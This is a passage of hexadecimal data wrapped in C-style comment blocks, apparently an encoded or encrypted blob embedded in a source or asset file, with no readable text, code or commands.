59548804916d74ed1820e9f9b6d45b648dc7a796d84fc00c66ad6b4f11f66a144c4486558a5e510501fdb406b30aa3989710e0037522f93a473b07f9f59170d65578cff1cf5751d40bf1da94436f1c2d1dc667a2acba9461208e4271d41b523bbba5e65875da196667fcb25eb87aee3de2de019097de7b14b15a38dad8b1fccb6b3fbc1c0f05a044ff7f3512840218280f5f0ce2022fedc8ed9b58344ebd6f01dfdbfb8edbd8b7d1696a8ad7fdd5080184de10083484432d93ecf811ffcabd7dc8421a536a58ef54fc729e9bd8baa6aa84a92fdc895e299dcf145345192a112e912e2117750d9131c80b64397e6313a8bf1cbfbcdc7f011f6e982212cc919e51fe059932b8fc4855f041213c48bb652128c3193402ebde87d4cd029880ed346a8045d611fee6461b1782d8358b4cf9036d483e1bb8d9f3d08f7d8f17cbac2bd6711479a1ce48834cbd842169ed4cdead005893aab5112f62e8292c336dc66ea8784df012f592c2deda0fa01e35cab8c072c7b897ea4c9d87402338f6f10575c7fa82466169360ef216225b834e3ee389fc379213f37ed6f44c1149d15e3350bee6c3e67989f7c4e9c630301260193d53e9bfa6cfc1343443c8719e239f7fd8b7e808ff72ccadd62f4c1b96d68e9197f68ae87e2a8d480ffa3766195ff57923ec3c1de9e4009dad6821a4bf364d4cb7a351e4938ad1bac9e2cd3de558af3c9c1208a68b4b2a3b92737801276808c7b6925a0937c2d5ce6fa50eae3b7126b2717c49e56fcc97a7bf89c87e59e5b79cadac62ca7b67f7f4dafe5eb54e0fdfc4b605cde2e7f45d3694a98dacb8fe4163663e4090ba12457770b67b4abfc4e2d1e7337b1c485767d488497e12ff73e5b71bb159f0cba715f738ed74fb9093ab645d31c67c16106b8086a1a55137734dfd74ad1cd1f8ddc2c174773831b29ee9544699a26226e6a646a9c0ba08de0519bf50cb3cf373802a27f275ba72df75bd7953f3df2594d9d23953d13dfdb89c1a946131c2781f541d54c1256dfeaec84ffa57ba63898b6c252d87aa79fff380291f24d6b2d525445f0bda2760373e4684cedce22a8da86276c04c7fb829392388bb78e1aa71d9236ae16bdb62a4c56437bfc7e7a1a15f9ce2e13b03824122c0bccea192fba70810fcd34165c3a07b0f2797691bfe7a9447d8915ff440865a991bb2e95e10b3aa4851fd0fbc60fde84e987c239f6cbaa394c3862371b01d4faebe98008b468ef3c4cc3d03b1603aa2260bf0562ed20d0abaf49a8107aef07193e1aa70039e584e1675733950151607e46be8bb37b7183897f09fc924bd2efb37866fe047c3374a60a5d84c2e5232991307ce9fe7d6b289967b7b79eaee7f58e9b37680aeb40c309a9d7de015fb8dafd71e8be0f9de59e7c210d25df86*/
/*689f19b8986c0c2c80587b2b5344db9f24ce6409fb0b4807435ceb4e4bee8421451b6f238e7e9d663fafc65adaca14e93a836f3e21b06fad617920d647c63dd7ccf03ed0b3f8fd5d4cbb5f2208907631628111ca1411d6fc140a077c0f79b02d2741adeb22d6fd70435e19bcac6a875c4ed14fb1ab535723a8e25fe6799c3d0f9e265d97221d291dbb369db4dbc5a8c3de2bb783d641cdd07d66ff595cfbfb6dd84f7cbfd2acd648e561528778fc47a8a5fcc2036749b12fc67b90f1e8d8c7668d398ea50ec129a2be8c0f795f6ead0f22410af28f7f2243b889f5f4122dcb8cc62c23a4642245e7bf891c2a1fd0c6600f3536a786ea90868935aa3da2d8095a2120acaa1f23afc988b901db69b03fc857fd1a97eb8f7d94a27a3c3938834d50e2bfb8050390edb8812ba9a31721abdf47dd8012a7253a08c0386a24824ea01d1755cd10c434615cf90905d94a4c60b114ca3cba962e7dcdae7db9b1453fdee20b6b82dd87759b024c2092dffdd054c9041141019473d2fcab21ffe66d72a22237a5c4a302c590ff772cd872b279faf500474b2ff1adf3b93e8e82c382b8e402dd2e72dd617538703cc913b3e06668fd9b980de940c381d47826af04c99456f9094a463e7146581416834fa09a6b2b5118fc09bdcb14260925129a25da16cda6ce178d33e607a2d3fe3e2a086a2f6bfa640e9dcb1bde9171defd30298e2fcbe6a8fdda3117076b680128fecfd8e07b70b75f6aac8821e29b264c1aea0a7a4816b2b03d7b06d55f9388ea3a5e5fbe148d9dc4bddc8cdab50b8da4a0f9e4dea42e4409767e3a48af3e211b555ca4f670e60de2db4185cf6d083f10d0376a4af5f4d00efe3dc0740c7ec2071e0538fdeff5edbf7802884ca991aa5d0544e37008038706924d64d8f52490181a4645cbe7438d0a112c86e8ee8ebf5357e95bf57bbe0cff37f813e31ef78d55b6829d32fe631e77c5d9ec258c46b78790369893fc0b63e4f019ed692cd2febe907fd030d417ff6b365242458237487458be51af5a7e2e436092955343553bbe78d95a41e65678aab83171b49ac373018964e7c76e86c05d754e892f3039774f2dc03706c9ab00083a1c30e2a80f3419f45965831bfafacf2f969166cdb7be5e4e30a7ae73216a7b271b856e09265fee801a638e132776be78117f0fb512884a84c9b6b5fe5b5a118b0d7092603c0079ed298038eb89c3eed1586566cd18ac8ce79d3979fd866169772ab8ec4661f1f9bfa2a35002829075e1098b18cc4eb4df2b342d6216ad2147f430e946bfd02c3900cc77c06e1c7acb9bd55a486319a651a203d09c7556eab2db6463fda602f519ba8d615539af8fda7c47400f56ee33f2ca48afabb75b6bc79d694c06633220bf7c9aa755ade6d3b1373154afe1f3bab94190746b680b2fd06fe1000ceb4584018d2016c017035d0293c90aebf01d814e5fc465951302a3dedad7271af832deca0249c68f14dc2c367225033d5d364f3720c1bde6d611fd6fe955620070aadb8342c40339ca6a53b4e9e0889b03343787dad7f52fb99acb0beb99724d8b4a87497af66b19f10138b49d646fc758a6e246322ba22efeaa6b2fc964f8a6708796721fd3cd8784d9d91ad10dbdd3b41b4229eaf714d457ec9226adc454d50e277f8839ab6c98431c90e286bc67ad7cd2e26dd8e078d7adf2bca0e60b989f7083741bae3d9899d9662229bca9099dfbdd018bcf38ce670a7a07a2034d0944d50bbe9ee2396c6b56cd70ed63678efe2b86275d30ed0d3e301a633f53991ed8ad9a9573e146957c069785295b9e9eb7e8c53c0ab478fe03daf07be7bd957e0400790f34a9ca005e7e2e9c6384f2e07ad7634c30dd74831ffb5527f506815ffdbc76d424a2490efad9eb1c690e574542341c3ec4dc012d4b56d8e9454e9d86149e755c2922e5dba561708605bbf9a11573f555b668dfe19b96c023a68001172799cc1078fde1bcd61992a5d4fc43039d1a21b0d943e1954bc14a3ebd6af107b28f77ddbc1bbf3bc306a66135b2b875bfe11a63727dae879cb837820ca4774632016491ad06c90a846de11e0e56e7abb4d31c6cdb8755330c63a9c60615f2595b636646e5cef8c83f7f579c210215d21c8d27d2c44a2bcc2fba31d5b5232caa2d7d7999da8e99c755726af1f64be7f79503a29d1a64a82175a9f6c03dbb22155ff2a706ccd2296c8986eaa5739bf522b37cf166e4fbbaab0c7ced955bc5a18228569816b93468d846eeceddd45523b6b203b77b0dc00cc78fbe986f87bc3cfaa768a48905bbdd93df784209bb188780e0cdea0da7c8a810ebc297266f2e7cb1de57b70c97d95ac55bb89d77c8f6bda7329bbdcdb33703e05bfa4df83ed379852b6068276df7ce14b02f107dcd4a4578261af9ef3b65aca64acc8644cf9b5c9b37af8eff4ccab7da196cd57cef7a1443393254255f56f38330dee5b0644d1e6d4de6de7ca4cc3c15585753ad09350c314cdd6aa7f1169b779469d5b4f6292a32f8c3033643826e8901ec36d2115af857c5bcd406dc651ce289f7d70cceff248605c682c64bb578eff43a50885f4d25c90c46e9878fd8a0e52c51248d55b49d08cb4bd2cbbad4fd13329cb0b8a8ae13e2dc4c3120f9a1b1e20f7c36fbbcbcec512e68ea06576f8442919bae883d41782c74f2b14e420f12e6a48026922f3ebef7d11a0fb7054668a5cbbfc396c2ae8fabdf449ff7806edc052cbcedf559d1760d03450f2685120e3409b7fb409ebc442e3d02bf3ab89608859735ae1152917c8a60446e308d9f1db378ca8c9f4bd849fb61815bf9829a5adb67b81c*/
/*d373b96096bead2f7dd93a0709cc37d0777a6e659c2b0123d0ddba438e2709843771c0c6e1e2264f97828e84db0375ea835529b2d4ab9f41effa9e258ace8409d256e4e6ff88ffe36647e75069558428f6cb5a1ef7de1aca11504e5f7a41737346cd203936ea33ad2d152b9ec8d0186f28c34901d0e63ef9d10488f665089b2956fb43f344941575745f14e83469303bff8e8e11cc79fa211246248902a8382b10cf8e15ec6bf2b9798c3f920389ac30c40a8c9dd65b187ad24998b13696c2e79ff520b6c74f2fe2eb79e57853a0c6b8ae7f49d02bba6a4b2e6162bdce3b4233984c98bd02fa7e28a8725ca4ed9a5d2191ab891b66f738b7e0b6798273c39b4c30757f41082e1c6f57b2b2c8e7f7ecab3c52eb9af590664fd8f490c68c0037f32595d72fee824b352187f13e7efb335f72a9110f041db86bcc7d9b2bdc07bac64e4f745674e73e0e32d31451a884b71c48937cc1ff70c3062a47866d9617aab56bc965e6693a8a8c23bf387c9e2797a114b972938296c9fe1fbbbb6aa78989e72babd905c2dbb03908c8d03fd86b46947f8f4f433e949c71798a58288b5007954fa45cfdc4b2523efad7ecccedc3aaad87e1e2ed9a893e3e2a3cea7e0c6d0b06b3cef273e3d96bae991f4b1847fa184e93c292acc78d85e994ee5ba1eda3ea9dd4c8a8fe20548ee2502fa3d94eb333c5fee3d3f7de8bc15d8ab3a72149b9138e642d2bb91e70e5fbbdb9f0073399a912e338665fff9581d42524023d64ce19b0271359a6999b0c75d4d9657cb83d5c0d3ffe9aa18da1e4c6f1699030a9945401dbadda6b88f2e46fc6aa9b2bb65e2e500a10d059e4f00045396a3f819814b7e944c4e136030eceafc458cda4819a1223f286819c35752c0da48fb6d3183e48039a609ca68a847e5914be904946f70c3c711aed5d5e403b1212aa28f024986e2aa9020ccea4eba08f4fdb77660c1137a5e618c4e1c4818ed57c148640ea59124f0bd9e49a51066fba56a393b1bcaa3250484b514c9b5f5e1ec2f98e2449b9dd9cbd415522c4158cfc254075117b965952e3f91ebd191ee7ee081c9ac964c3721cedc68a8717aac45d3ba7076001150bb788ac25e351c2a69fb91bad68795b176c0331e54f892c30933572f3527240fff6c533b85fd086809d69a7a62ca910331747955fb8144c7f75325b81ba81d96b13e049781e85c1f60d1d95589fa7b1aeeb02112346a5d39813b0cc2c8e07447eb3706c68570b588973892fa63e6e56ac64780c6978661620f3bd072986a1006d6a48a431afd68801e9a54fc3bbba965bead931475bb1b433a458e209688c6e529a0ce6a10de4cf301c2666f635968c3f5accc69713a89f9f86424cf00ae5a0eb2a1079911cef56e555e3ef4dbd422228ccad08bc8a03e1f958897931f60159823bc623c08dc5a886abc4ea900d47627d96dbbfc93fd6690a158180efe78a729575793f17b3fdd9094f1320eff67e7c6645c1d6822ca63cbcd93c5f0b74d7d9b921df584a60fd6e97f266b5070f0b5011ad77164979ccb96b5c0ac42de7f9d6e94fd6bf310ee5d2c512741ea7aac3c3c5c0f1a5b0e79e43c02704d90d1e2f2fc69a8292f567920a3a2c2739f8d89be5e8125dc763390e01c85713872afc0ab9106cd6aad7bf3a1df0664eb95ab68cf8ef94e0f9d33b1010a6be7a71ff234fa16db2d205cdcc29acd6b38c51250dcacb9577397ffd1ec642ad6024b7b9237c28a279ec26dba31e3e8efe378197d02d446cb0b0d7e5de6070f068660be664e9de8666730a4f955b195ce3039970638b89d7eb8890004114f86927f29f39d8fc53524e7d38bc16e1bedde323c7316d0b6e61cbab280570b9fb47cbabf803712957f4a6dfe695cc934068dc1c19cdc94ea074ad731fd83f34d01c6d88157d1f9e9a8b12ebc4c4069761a9b0c452c635384013f3dde7c8f0b0ec427fc81c76f55b71893cc9d49cb4fb7c9b4c5428fe4ad8c720c569bb110b0adab05c1d1722fb7e687a7ad9499bcca4628645c9c1610f77b64d17d24a231ef19ad779a0f77d466314ced13e3c5f9d3969c222d5e2181eb00ba011aaa0fe7ce5db82be8881e9e79a5415f6917f3e68a7b0f7678ce633debec09baf50a64768b661fd21507c082bee05460de4bc798e028451c5748600f8c70a010be9987b728dd9aa6583f985cff819086a0613816b3c1ae2907626315bce6137c5ae02036090571a8bff2ccc87b6e33a43a4dbf7484427a155cef1d16ed119a8302477c7b7d072dcb3de9e459fcffa4e27834336b0d32b86d87f1e493c4f47cc990de20d73365bcd8c7782d24a7bfce595b846bca21f064c25262d3361a15f7edfccce315dca092e1b622ea6e8d23392cb6d2bc965d2ed5fd14fbefb28b9248f62d422a573483a4ad0f580e5dd9cc468d135d1f60cdfb40d16e3e6b39bb54fd4744e9836e7f66c9c936e34ad52433ea0b56efefa08c6b9f0aa0d9318c1bdbb58b20d1f24b6873a89c9f787c6f69e3c5ba36c5811d146d8c424a50e83da4391d18238a084777d2b4066a007bfa0dfb7da1a335176376c397025ffc8be13b89f9b18fec12e2bfbf71ae0a4f988f9e27ce321e82dd6b8fe950147c5d156b24e221b3535943e6a11a7d1ec474489ec78b2e18fa376744f27f98777aafb55c46b907a930d54f809cd2ec0c33436f2fd63defaba4ae2b6d5c4f2baae1cc08f55f0a4f32bfd6ae533be022d382bd1633e83d244f23025c2d0a8c415426288dbd755a0df9a342ef51bffa7f5d0f6dcddcf2fc598b1e4aafa0ba53be9b3bca91d0c05e07a8789e7df6621a3dd79059eaffb92e9cbf4*/
/*16520e2cbf47f5dfe3d2c3d1d12a35d6cb69e3f0aad62432a2129ca7f58fadfc2a7ef706b513d52fe8b548f255a9ca343a859d651c8b72fd82d7e219ebbb03bf923e2a3f23706af5fe75c7984b2531f3cfdc710c41fffd276be9ecd2cd77e54082659f24153ce1805a8512a0d8fd3bcecc129d3ad4b13f4fbea7de92bd523bdff7bd90c2f6777f6ceded1913c7cc6e34cec0f3ebd70d3cfa133571ffa35d809ef320f9c32646820b6c9761e3f9a31f9159d091d6607cce6fe220667451eb974422c2384e84361cfd5273e8700d83750b0f496c184143b567b5e30c96817c760083df55074ef10eb97e5c9b7b9d96523565fc872b2eff5c78eefe1adb4039ee6da07da7f96a81c620cac44bc8af864ee755c3f105f2fd71365930430745717af24a65463a88ee14bc57b4c94df61bcb07056eb8208e6c369e5e926e856d1486c871e0360f5da7b6379d55b58ecd97db390916f18ccdb88abff85f84d6273228bd7df7b620e56e25ff16feac7873917f6ad7e6eb62e6baeb5a6f60fa742a1d67b2ea1f8531f33f1fcf01f83db1f8b2c5bc23399aab5ef22ae0334ba8e9e609694aff0d1f4c809cf190210356144d0ef8a3e88b942bc1d2ce3d443238f7889ad383f5f0104cccd39326e358069489293dbf55fda99a015e42cc836c9883e29fc47cda5be61b5183aec44794747ee4f7609b275d3ea0fccc2661e9c91f51a3760488f007ceb67a838403d8937a1b3a583ec3eefa405c57c915a7ac242a756bf4e06b31bbf474208874a298f54db7eb1b4e5552f41f7047f0185e847dddd1db668c96e303bf16ff725ed8f035af676c5db4e5e6dacfb62ba5e301b02cc9706b109def63abdbbc6b6176c93a210749a98eee4042090237b2998bb8ce7de6bcc75a3bf81e9ec7751cc9a09a098256f34ef92deb32665ce8b93fecef240ceab37012b123474f333ef74063722ebf0331eb7e7cf1d9cf9d0e22baa7206c14ed1daeeeec3cc62800a6097a70e2f2e904950d2c052dad534dedb029c73fad1aaace0ad1a575393933d14462edb1ec73ee922856191d29170970e3a1592eeb632eb310118b8af4ec835e2395ef587ce556cc999b9f246e20c17254e9c1ff32f9981aeb0e351a53e53e4c5bc768e7c9e0df0d7af9d28aa754424e832ffebd800db080ed244ded921e78880d8f60d46fb3bbbe155f3ec34d18d6f59286181330885461a206868009a0d4c072229dee5ad821a0be11feb50efad0cf81f358eeb1c01359fec85bdc49d0495d3a633e5cba318ddb9be7668bb0b7c7ae385541d73b62879e8de353af6e28af465d319688d1be769f78a0cd9b83ac912b8c9c11b07bbfeb4e0d4ee52e7f7045d40f891ec9231ef5e73daa027a1f25ec9f05a3498a01a373498c098e6372ace579c14c526a7e1dbd2740428824e93a329c6e1591948644584277650991b6c0816cd9dc6c1350643ac42d15288a0657ecc259d8b455aee31f61560e6b75f0c9e578b07d5c665b6dfa5bc0c276307cf2ebbef73363314c04ace930b95198c2fa4bbb008aa90cf98c9ca8ba8efa758bfa8c89516dce19d89ef91d0b854967e352bc5a9992fcdb421f2c50f5e60782781eaffba5f0f0c695b9013d42140eb66c3483c298535e245ff4e9d2e2cd1000d9edf4660db3fb75829d7036150ea049bb07ab59aa8087d6fde2a05f0ae53008c732ef303a6d18679aed6773548c356af8569eec01a42d5d1ef0b80ca64532402867aeab974b79ca079850ca08fcc3121c62d8625ecb2176444896cf8953632db899cca70147b79d9249a20934356773d454546fe92529eaf86c6fa7b9b7dfa5844018b3604e8a3ee0be5aa10a88065789551e581414ca8413a6d33ef2d21eca0ae3ba8a468494251f3ecfe44c9a0ed345b446a0f98ca2082d1cb2cb7dd7e53ac4cc01127e0db3b945ad55f9405ff8837d41d13816edbdac8cb7d97415d76e934307451b8913f2f8584b92da0fa8f5f0bad79819d829d5128589406e7e17f79c950199011e92358a5cee198750036712eecee5bbd6d092fdbe8e5eb1d07e18415c452d3cb4276e2b992d464240567c70b1b1781ab1c4285c7fd9886d74cabc75efbb17e3196b98b39696604dd163ca388dd6728638d10de084e4f0d9f375d16061ee43f5bed613fa9bf31cc5168b37f7763abf6df37c791c32863a65ddad969d645f596bc38957f8e7ca0dbfbffdf1eea29d3bc9c94988f94ff68d617a737d5cd53a7d4818fe045bcc73a5e139c1547a42e064b9946808185c6adc961ee6bfd5d4f27bbf953523dac562b0c1cdc091b16817af1a89551958fa3dd3610a8836a02a2023898b5496afb0ff03eb175f36450b0b530329f7bbc2b0f5be2fa05290ce3d6b0d4ea4f4455d32ff928c3a398da45fc8f5052dd1d31be14b0a69b0536994cf149cd6ba283d2cf4e240c3ff8c2e5c122cdf67de5e028b752f058dbc2cf107ccf633212fbbfef1983645126a9fa68ed277c9175e5e118e245c635c78df009e5b53516042186cfc21e9aa9344b6183835c32557fe202511ae582ad293c384761c4420379c843ca319b939301d4921fa22eff45caf4686650ffad12cd57ff940d8098524911c19845590a681b2491dc7b74056d3117a1e74c1e6b86c8712534f79904bf9459bc54124c94f528b4b2cf32e4a3c76b61017fe2611779276e5ee63931b4670fdc74fa1c5cf2f9c110ff21430ee617bee242e19d285224ec92381b3b3bb38d4bd8cc1f47cbd6f40ebfa4b870330fa8241e6c4ef96bdbaa36d189c08dcb151e2a6b53447fa3a5da3ddd02d61a4f23d7adbf1dea532fc5301296eb4ef*/
/*9d9c3b1234366d375473e1b13c3bbbe194052e331f30e62052491f24a5e6b5eeca5d958a6c1f593fc694906f6a5ad286ed117175336f74ceda5a7a0a90fc75c26433f81f5b871b2f821f67f41736c6acdaef86a117b4471f6e69a1e69c2a35cdc5be7f6767003d0ed9025f438b7655c805de299d914e014dfbda3715b6c431826f53409c647a0c495af8586998a89a67f414520c72f3cb13a639dbe5b52a1da01f1312e0ea1b987e7402c9bcb410f0ff3076f9b6fc076d01b2a5c46b0caa1b576567273a3b5d668712884b9146dca9eec47982fc3e29c019463d07dddbb4b6f01b2007abbe082a95b1e2ccdff47a24715f96df342419c47b70d61ed75544e85856a84a7dc7bb362eabc809998150d45e72d448663eb3cc6c2b693344bf979fb9418a3cdd85587ea96acfaf36966f951dc2ba2a0c48c509ed6b3e718f9983a828e949ae6fbfb3d4c17ed308e110bcae967f8d0e8f45089abbfa806145f9ac0bdefa3907a779bc2499d614705b24edfa1e574736827cc4975b3b8831cc78edde40cf2589e26cb0e27861b77716fd8e4d287694ec58d133408a9b56ebe9c709866c7bfa67f6c11a30f07586f3b0ef998979da6b5c3d5588857e260a3afb22dc46b02992f2b5243a05299ed895ef880982677d8392080ca38bf539044624a4b940aba823de6b3c24dc4b9681a2b1c321685243033e0d198a2aea18458f97a28a89ce63269d53a87e459ace872e2a92a0fc3b049028e0c4e4aa9e832d7043e6382723ad4e252f9509fd3e13e4189a8baaa30fa05f7c6e565d7ef454bcf2a9077e7aaacf204e30f19e10e37c1d3eb3a6967513e608082e09f4038dc7146cbd42185aa13dbbd63831cf10e7be7f1cb5b8e43478d73f9ab42554642dc2cd6cd4fbb1d3f652a5229482dcf33b25109753f8b6d4b7de14ba5cb7b5f3ff2aa37be00aeb1d4f021bc088fb570da821b2fa0de44975145ab10a6b72df73a8c840e3bb77155d2a386be2b1c708a8b59db870af8d4cc6e66dee62f5a3deb40fbb1a71120759209a66269ca333bdcda196afdb4fff56390e1de3e4efeea3f23091d54529a9e3f321a3c69f7faac1e9c00050e5d25a3fbe202cd18dafce550e8dbb07d1daae257bef81aeea9a5c7e0b33703c40757d9270945bbd3ce60d9d9c4c996f0c55c158a99da247f1eb7d168259a13e4e4b0e31b3faba561c1fde87aadb10e3e392ba76538563817bfa677583f8e20af14fa774ba554bd7a40604502f178c74d1646452f843201a35dbb59b11127931946c2469939b1d9719dbd8f8eb39fdcf9536a90a59179b4c5419ce6444ca159c14c752ca8a14e38854e6db52bbb9cc67b4b7dc7078c46e4360a3b90bb32cc5af0f2bc0beb33dc08cea75d5807cf72a5142dfa4dac8a45c3c20eb03b7d7aca44d4f67b100d71f26334731449a7d6ce718db17a9b548ed131b86e5b07013ab6c6f214fc6a0855de112cfb72d1c04c794fb4f4c5169b4cc5fd93e737a76c35fb5f6ceb95cc22a182e7ec2a914fc63a8b7e0f3c56ab38973714a88fdeacbc825d76cf9c4c3c466dd9d131a75617ca75534f390644305a15a78d05844a75d9a885e4d32b6822eaa6bac5fe7066524d82778631a807b4e194cfb59a60b6da56711ad17f5736855f45f6ed1c9a615786efea151903e04048bd66dbae18943203dcda08c9679c3354a4ec4a3a5f1ae9a8bb40f4dac7de2452b835674c73daa6a1e7277df85d0229a7239d7c02a4fe772a825e4865e8b097a978dfd824144c30f85f0cab684065b54866db0c1e69d96c826ab4c0d79c31d8609375aa74ee5b5eb1af402e9b896609d8431a963e929683221bf0c2959a62a5a352a328bc4ce46aa24059c80ed249a7b20c5b3ba2677f2d1652b9486d27c37644b9246828ecfb43d447779a5a94167d3524a55329963d0908a8011e53aa89844d42276e20c84a678dfbf96d0f1f173c9b62a09233a7cd6662c550ad66a5214b716cf0422a6b108254331635c0a7811c0bd5fbee5c72352a85312099a56b563098823783698495d6a7b3b3deb7639a284227911cb78aa42129b9da9e26271c8bf2bf04704edcaba030da2011323127c3163124a1d9c176f88c59fea39d4b5b92aaffcc3aaf14d0303d08b7d303e82ebfb8f0a3cd0e71a1fa9dbac2361c7d2c2d54a5258d209812881cd906b49b75c12ba23dca2b07b6ea81f81d9e901e99003e785e9ec9a05e94bb5ea332b2c82421853da1f14ea410fad15047607844a922a6593a106d7990ce99e36581f88ceed770258aac71b1047297da8c29f1974f427b00e043986ad5c981b5dbb5ef4cce2d1851c6f8b9bf34e75d7592922482dcc33cdc764173f598e9284286bde761a93cb2b0899350b9a85a194e3b80084fcfa91f7b1132a12b600b20000ca4af8561285dbba9947b583b7f2c4188277e1e7b7e1679e49a3befc3fb8a997ff826a8e11bf2af78c6fee1588ab0ad26b0be01dba2f1f158ce0229dd885a97233bcd323bd49b37baafaabad4105872ad188ef73abf9f576d9e8f1aac44442f9b9197167b23a94f4a0e5358b33a3d407491b2a4d95095ef560b1b8ace7aa4d7e6c7ad19533e573523db0b27b1824bfa426ae24d32b4b729763ab5c2294514a1e53252e412060063e9b17ed6fd0c31867b4669b4c54802333ea6eb97222e595efe77fc2717530634e747f799b5c40b6955077f87a791633d71f4f4b147b5f25e70552921983b39ccc6e0cff52698deb81795ae449a83c18d5ff973b07c0c8dcc4f386239619c4715ae6c3f6c8981a427b00ca5be18b6adabbfd4706b728eae77ab0da779b0fda9851ce*/
/*07d14b538b3f1fc61ad8c1c7004b2a83833b925304745a053b89572e7377a3dccabb494acfd34d0e5d7dc32d5b1fbfb19a3a2d17cb6d3c150ca7edc3f630aa9f1f76d69fffa9ad239050196af0d5345a9f0188a3af25fb8e8e1e93b5bc0e17fce47afec3d4f725dfad1fb7a605cb3fc1e981caef52c626f8dfae7d4d6c783cd59913a1188456ac9d29ea3ae9dce2091f2c6c0e2276092a112859b54bd19d07858503c04572964fb68e6652e99e07f2236eabfcbbd19627cdeaa2a0dc27d111d6f8d338524c047928cd99bb1a6fed9519d93a57a54ec72bd5f9a5b4f830e663ab07681c8244f3b58f8dc242ef562f863e882b501858c3908b167e5347ef6605eac00306c438d0da07271f072f69fbf22e06d4d41b459bb531ca646c25b8957ddbdb20ab94a26ab7c293db204c07aabb96378c4fb4a3ae896e209952c92625e4b608afb688f2980d3a6a78f830ed4950ec092c3383af5d1afeabc432755dec659157c6634d7bb8024956d910331263bd8024eeea7bd38658356a2231a0531c2e7a653110c3f5aad1860c8852e579fe7a6128e37a00f5e02f47c9188a457e9b049b41bba46154d5b5b1d8c54f9b365d7e2dcb44dd44978428c96ce331046abf12f2f82c5e73d8a802aa2fde6a7db7a8e253ca72f87c5e9d4212019bb7cd6becd5c04a872f8210db16331ae84f87d70f17fa6270d6fb243629fe35f287e7459691bcf60b70de36fdfc8acb571f5cca204c84e037554c5ec1f3ee46c2e31c7ef7ac8ecb33a49f712448e574b2173439a8fda067f921b1abe9d01206112772c59424794c24fe7871d116a40d7ee996d576f8cfa55404ffd2719031d2ab0001cad64d78ce771d2b57c86696cabe308360f8bf96a9b9bb586dd38e5647fe2b6dd5d1026a5daee6cab65e5209a6083bc3b2cb3f2afe0810cf5c98b70101f688017c08705e47538ba1c79f98b8af8f4a869bcef48f1664d24c303bade305ba1a111df0552d3ae0fda0afbd4d4f5ee503ea66409b736944c501a8ba4f7f9afdc11a4f690f2297aaff1df4903325ed08a18032b53a8f85043dbb5f68e3e1e4f7f4af4641bff2356ba5af052895c55fd2a88242a19be1d259f6c38d71e8b361960746c9d3bb2b7adbe9a1e68cb818673513e5907341aeae0c5091162a5466d0c8d16c36df27113da14f57e610bd8dff5bb93fc4a5460f7161e9c932baf58396c3b750d93eaa20caf2f089ead90fa024623006fff30e14ef70a303c7ef66e50b929f62a054e18ca2ec133978bf881ee712c2ef0dc948ab99858bf80cdcf8ff5bd77d8a2d7d52209e2d4541ad8fd8612ebd430d4002c7a186143c650f7267dca49c7abe3aca818b3d4d509c1a1acd9462ea186bf8e47c0d03c342fda551987a6d13f93e2a17596f6f3ce1bbd207e70f71377771f841960c9cd3b35081a4596904a0b6ba99665d6fad3fece2ab84e972e966dd6bb5c40c0c50f38e73ae5ebf3df32c626541c6ea19028b3b41f49ea336ece7e5283e0c693aed15e35c20d537eed5f62aed7d08aa88656c2a00c9ead85de009ce9959910799f4c84c529267ba07907a78591a063e21fa703246bc8cbcbddef0a76fd8be59029dd1d9dd6b409563f23ebea0419bdfbd1d404ab6e8ec887507ef53b15654622c4c1a4c58a6c178e104a3c49ea2706384b705061c5b643eaffc4fa7e2b58e70d0b33c69b4eb144bfce9d880d8f415c4368d0f073400bf901b5137ae87bcb63fbb177c5bf73adc066ab5d0705b6c79d55c2232f5f929d9a47c1a247650d6b5374213222249a070febfaa55f236c97a9836cc0ce9225d086fd5f61e9749ccfb2309573807803a58261dd3bd3e27a326ff75acf9bf19e1bb696c427b68b382a5500b8af4a273a57b1401f893229228ad480d70168f0bed1484436df2cc7ccf935a189f5d9c4d8e3aec23c9392dfd08638adb6e427eb94ddf9a0b275d3fea2a92e95efdb34d0b9f3781fc24f95b899f45ac771d98d1c1fcef3de03e32f8d60ad46254c7c5fc59090d81d1c072521cd15607f286e77a7dcab5bb586f0fadb615d8edcca588e475c350d9ab0b4e191f0b78717230fefc6cf462b23f053b1b4bea5693c1e424a59a3c37374b5c67a58482e054d113b05e9206b1b14912d3e00a762eabbaa3fe1e6343177570efe950ef16f1131501c1037ae893302f4830104e750971a81eae01123a466180c79da341262c4a1f9b128c084ff5366576b453da6e9f8ac6a777230cc5436feb6dad956165592c157ee8aa0d08c11d8e68b0a6f4f72baee7d0e0137e3b0421721e91cff7943cddcaa05375e32a00d03e4f6e4808749e814c14eb537618c4a0087edb6cdcd8fc0ddd91cf98f343efd86d97980be750e3926ec4483de5fa8a9c42ef0675d6a63c21b508c19a3ef1e96b7e98b5041e2947ea379cd6af7f4a118ee94ef36ff132ac53e12a9558ac58c7affd119461fb4393a692c3b0e7fa4cb82c24e16d3052f2e0156aa1492cb04ca10482a10be8ac66de0c17b53125faa554daa822214ae59c1682385a5f3478717795d7f15cb6bbad8a498cbda29939ca4ebfccadf58ce55781fb04f5e80d90d72dc732870c9276559ff9290f35f3fa477e363db5bf8fc8f2f8ee13567a6cd297356223a5b87f4745db7b7c6df1ca7e9295a4e53cab4951bbedaa2997f60d26ed1e83dbc7b229cfdc6d5ae38e90718679caf4319c56ef62375c12e6acc4b92a6d95aae727c193a778771cf7e44c2eef50ffce294647932c76f8561cbba25a3d247a98cf2c4c8eb5bbecb8a0a1dfb9e8eda35f0a0cdaafb2552147aab4db1484fea5b0e00018d8a238dabde6*/
/*ad3f43b6fa1a6ff261a604326ce29655ed86414e6c4639dc1d67a91e9998700926326e099cbcfea9c53a9149bc85b2f0d8f2909ebde088e3c7dc1485a0c001a68321c529c6b1de55214d92fab6bdfc0f182518bf78295c3643a8ab90c2f827568e1c79aa2ab2141e66230194984d67e90d41fbc398cdcffd3cd73a4b7fd13f5a59cca2c9a7df8f17ed5e1532175f77406ad8b0e92dda5a3fd5afe4fc48859209e08b4f8d276aa10b692eb979f96e60470a490e9dae91a2ec04068a9a900bbdd4c5578b9913d96c9f75ffddedce2ab1c4053779df2c1238a3d09b4413f5887dc1f0506edef44fa89397c4107b9adb363fcd1c057cc4b909d7d5ccca308ea33630bab900c78dd9682f65a480ccbd8fc4e5e20d6d0b4bf3e0024412a4e44a4b463a557097eae0a7d246c883c6feab03fbee15a1c69411dca142a351fdfce838730245ac989f0428e7c2e3c6800bdb45d26f915cdff189beb28438057091c1ab02f9377f324862a4d5e9c48f4b95ffdc13f0f23724dd051a6a56b780f663276b74ea53272d2ee0adaa346ddf7ccd3071aee87e40f8be5ea31075ecea23c6c100d174eb680d8c13c3e85f1ccdad6d416323cebdb5f408fca13e83f7aece9847b594fcfb5624c